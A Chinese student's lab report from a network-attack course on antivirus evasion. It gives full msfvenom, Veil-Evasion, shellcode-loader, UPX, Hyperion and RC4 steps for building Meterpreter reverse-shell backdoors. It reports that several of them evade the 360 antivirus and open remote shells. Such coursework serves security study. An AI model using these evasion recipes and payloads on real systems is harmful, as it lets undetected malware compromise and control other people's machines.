2019-2020-2 网络对抗技术 20175205 Exp3 免杀原理与实践
免杀原理及基础问题回答
免杀原理
1、 一般是对恶意软件做处理,让他不被杀毒软件所检测。也是渗透测试中需要使用到的技术。
2、 要做好免杀,就需要清楚杀毒软件(恶意软件检测工具)是如何工作的
3、 反过来也一样,了解了免杀的工具和技术,你也就具有了反制它的基础。
基础问题回答
Q1: 杀软是如何检测出恶意代码的?
A1: 杀软检测恶意代码的方式有下列三种
- 基于特征码的检测
- 特征码是一段或多段数据,如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。
- AV软件厂商要做的就是尽量搜集最全的、最新的特征码库。所以杀毒软件的更新很重要。过时的特征码库就是没有用的库。
- 恶意软件的检测,并不是比对整个文件,而只能只其中一个或几个片断作为识别依据。
- 特征库举例——SNORT
- 启发式恶意软件检测
- 根据片面特征去推断(看起来像),通常缺乏精确判断依据
- 不需要及时更新,具有通用型;但实时监控系统行为开销稍大,没有基于特征码的精确度高
- 基于行为的恶意软件检测
- 基于行为的检测相当于启发式的一种,或者是加入了行为监控的启发式
- 让软件运行,记录其行为并分析(杀软的工作原理)
Q2: 免杀是做什么?
A2: 通过使用一些手段,免杀就是让安插在被控机器的恶意代码不被杀毒软件软件发现。
Q3: 免杀的基本方法有哪些?
A3: 根据杀软检测恶意代码的方式总结的技术有
- 改变特征码(改变机器指令)
- 有EXE——加壳:压缩壳、加密壳
- 有shellcode(像Meterpreter)——用encode进行编码、基于playload重新编译生成可执行文件
- 有源代码——用其他语言进行重写再编译(veil-evasion)
- 改变行为
- 通讯方式:尽量使用反弹式连接、使用隧道技术、加密通讯数据
- 操作模式:基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码
实验内容
任务一:正确使用msf编码器、msfvenom生成如jar之类的其他文件、veil、加壳工具、使用C + shellcode编程、使用其他课堂未介绍方法
1、 免杀检测
- 在实验二中使用msf生成了后门程序,可以使用!VirusTotal或这两个网站对生成的后门程序进行扫描。
-
用VirusTotal扫描后结果如下:72款杀软中58款报出了病毒,不加处理的后门程序能被大部分的杀软检测到
-
Msfvenom是Metasploit平台下用来编码payloads免杀的工具。以Metaspliot的知名度和普及度,只要一有新编码算法,AV厂家就会马上加到特征库。
-
2、 正确使用msf编码器,生成exe文件
- 编码后呢,按理论上讲,编码会降低检出率,理论上讲多编码几次,总会检不出来。
- 一次编码使用命令:
-e
选择编码器,-b
是payload中需要去除的字符,该命令中为了使'x00'
不出现在shellcode中,因为shellcode以'x00'
为结束符
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b 'x00' LHOST=192.168.62.16 LPORT=5205 -f exe > met-encoded.exe
- 十次编码使用命令:
-i
设置迭代次数
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘x00’ LHOST=192.168.62.18 LPORT=5205 -f exe > met-encoded10.exe
-
将编码十次后的可执行文件用360查杀,果然还是有问题
-
msfvenom会生成固定模板的exe文件,因此其具有一定特征,一般的AV厂商也会针对其模板生成特征码来进行查杀。
-
下面第六步使用嵌入式shellcode,手动实现Shellcode的加载工作,只生成shellcode,而不是完整的可执行文件,这一个简单的步骤,就可以降低VirusTotal的命中率
3、 msfvenom生成jar文件
- 生成java后门程序使用命令:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.62.18 LPORT=5205 x > hy_backdoor_java.jar
-
生成文件如图所示
-
使用360扫描结果如下
4、 msfvenom生成php文件
- 生成java后门程序使用命令:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.62.18 LPORT=5205 x> 20175205_backdoor.php
-
生成文件如图所示
-
使用VirusTotal扫描结果如下,这个明显就少很多(用360查杀,已通过检测)
5、 使用veil-evasion生成后门程序及检测
-
用
sudo apt-get install veil-evasion
命令安装Veil,需要超级耐心,下载过程比较慢,而且会出现各种各样的问题。。。(文末有相关问题及解决方法) -
一不小心成功的话,输入
veil
指令,进入如下个界面
-
用
use evasion
命令进入Evil-Evasion
-
输入命令
use c/meterpreter/rev_tcp.py
进入配置界面
-
设置反弹连接IP,命令为:
set LHOST 192.168.62.22
,注意此处的IP是虚拟机Kali的IP; -
设置端口,命令为:
set LPORT 5205
-
输入
generate
生成文件,接着输入你想要playload的名字:veil_c_5205
-
如上图所示,保存路径为
/var/lib/veil/output/compiled/veil_c_5205.exe
-
使用360检测,果然还是会被检查出来
6、 注入Shellcode并执行(嵌入式Shellcode)
-
首先使用命令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.62.22 LPORT=5205 -f c
用c语言生成一段shellcode;
-
创建一个文件
20175205.c
,然后将unsigned char buf[]
赋值到其中,代码如下:
unsigned char buf[] =
"xfcxe8x82x00x00x00x60x89xe5x31xc0x64x8bx50x30"
此处省略若干行
"xc3xbbxf0xb5xa2x56x6ax00x53xffxd5";int main()
{
int (func)() = (int()())buf;
func();
}
-
使用命令:
i686-w64-mingw32-g++ 20175205.c -o 20175205.exe
编译这个.c文件为可执行文件
-
使用360扫描结果如下,开始没问题,过了一两分钟才查杀,好像反应有点慢
-
使用VirusTotal却检测出很多问题
-
打开msfconsole,再在本机上打开20175205.exe,此时发现无法连接(但是在下面加壳过后就可以连接上了)
7、 加壳了解一下
加壳是对相应的资源进行压缩,压缩后仍可运行。
加壳的程序需要阻止外部程序或软件对加壳程序本身的反汇编分析或者动态分析,以达到保护壳内原始程序以及软件不被外部程序破坏,保证原始程序正常运行。
它可以用来保护版权,但同时许多病毒也利用它来作为原理。
-
使用压缩壳(UPX)——减少应用体积,如ASPack,UPX
-
使用命令
upx 20175205.exe -o hy_upxed.exe
给之前的20175205.exe
加个壳得到hy_upxed.exe
:
-
使用360扫描结果如下,竟然没有问题
-
查看连接情况,可以反弹连接
-
-
加密壳Hyperion——版权保护,反跟踪,如ASProtect,Armadillo
-
由于下一步是使用其他方法进行面杀,所以就直接把加压缩壳后的文件直接再加加密壳。
-
将上一个生成的文件拷贝到
/usr/share/windows-binaries/hyperion/
目录中 -
进入目录
/usr/share/windows-binaries/hyperion/
中 -
输入命令
wine hyperion.exe -v hy_upxed.exe hy_upxed_Hyperion.exe
进行加壳:
-
还是被360发现了。。
-
8、 要不试试加密??加密是一种能够有效反击反病毒软件静态扫描功能的方法,因为AV引擎不能立刻爆破它。
-
用msfvenom生成使用一个RC4加密的shellcode,用上述方法,编写一个c程序,并生成exe文件
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.62.22 LPORT=5205 --encrypt rc4 --encrypt-key thisisakey -f c
-
使用360进行检测(我发现360反应有点迟钝,一开始检测没问题,等过一会才发现)
9、 试试其他的噻
-
使用Veil-Evasion的其他载荷生成后门
-
输入命令
veil
启动, 用use evasion
命令进入Evil-Evasion -
输入
list
查看其他可用的有效荷载
-
输入命令
use 13
,这里我选择的是第13个载荷cs/shellcode_inject/virtual.py -
输入option,查看有效荷载的选项
-
然后运行
generate
生成有效载荷,我们选择4带有shellcode
的有效载荷。这里会要求输入本机的IP:192.168.62.22
和该payload使用的端口,我们设置为5205
端口
-
成功完成以上编译后,编译后的文件被保存在
/var/lib/veil/output/compiled/cs_Veil_5205.exe
下 -
同时新生成的 shellcode 的 rc 文件也被保存在了
/var/lib/veil/output/handlers/cs_Veil_5205.rc
下!既然有了rc
文件,那么我们就可以方便的利用MSF 行调用了 -
进入该文件目录下
cd /var/lib/veil/output/handlers/
-
使用命令
msfconsole -r cs_Veil_5205.rc
-
使用360查杀,并未发现异常,就说明哈哈哈哈哈,绕开了AV
-
在主机运行该exe程序,kali立马监测到连接建立。输入
sessions -i
发现ID为3的连接建立 -
运行
sessions -i 3
与ID为3的连接会话获取靶机的shell -
这也太好玩了!!!超级刺激
任务二:通过组合应用各种技术实现恶意代码免杀(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)
- 嵌入式Shellcode
- 手动实现Shellcode的加载工作,只生成shellcode,而不是完整的可执行文件,这一个简单的步骤,就可以降低VirusTotal的命中率
- 使用msf生成一段shellcode
- 再将其写入shellcode中
- 结合压缩壳达到了初步免杀的目的
- 获取主机shell
任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
- 我使用了一台kali虚拟机作为控制端,和一台win7的虚拟机作为被控端
- 将msfvenom生成的shellcode,再压缩可初步通过杀软检测。
- 杀软使用的是360,版本为1.0.0.1051
实验中遇到的问题
Q1:generate
失败
A1:没有权限,使用sudo
即可
Q2:就是安装不了veil。。
A2:在小罗同学的指导下,我终于历尽千辛万苦下载好了,简单的描述一下小罗告诉我的方法鸭
-
step1:apt-get install veil
-
step2:使用命令
cd /usr/share/veil/config/
进入该文件夹,使用ls
查看该文件夹的内容 -
step3:使用命令
vim setup.sh
编辑文件,第251行把github仓库改成码云的仓库,https://gitee.com/spears/VeilDependencies.git
-
step4:命令行输入
veil
,所有安装默认 -
step5:安装过程有问题别慌,安装结束后输入veil,就会惊喜的发现弄好了!!!
实验感想
哇,一次实验比一次刺激,实验二的时候还需要将一些杀软关掉,才能获得主机权限,这次实验就更加实际贴近生活,通过各种各样的方式避开杀软获得主机权限,我觉得下一步可以考虑如何将恶意代码捆绑到普通软件上,这样会不会效果更好一点鸭。
做了实验才发现,360有点坑,这好多恶意代码杀软都检测不出来,所以平时要提高防范意识哦。